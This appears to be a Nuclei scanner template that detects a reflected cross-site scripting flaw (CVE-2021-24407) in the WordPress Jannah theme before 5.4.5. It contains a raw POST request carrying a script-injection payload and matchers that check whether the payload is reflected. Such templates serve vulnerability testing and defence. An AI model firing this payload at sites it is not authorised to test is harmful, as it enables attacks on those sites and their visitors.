id: CVE-2021-24407

info:
  name: WordPress Jannah Theme <5.4.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action.
  remediation: |
    Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24407
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24407
    cwe-id: CWE-79
    epss-score: 0.00161
    epss-percentile: 0.52625
    cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tielabs
    product: jannah
    framework: wordpress
  tags: cve,cve2021,wordpress,xss,wp-theme,wpscan,tielabs

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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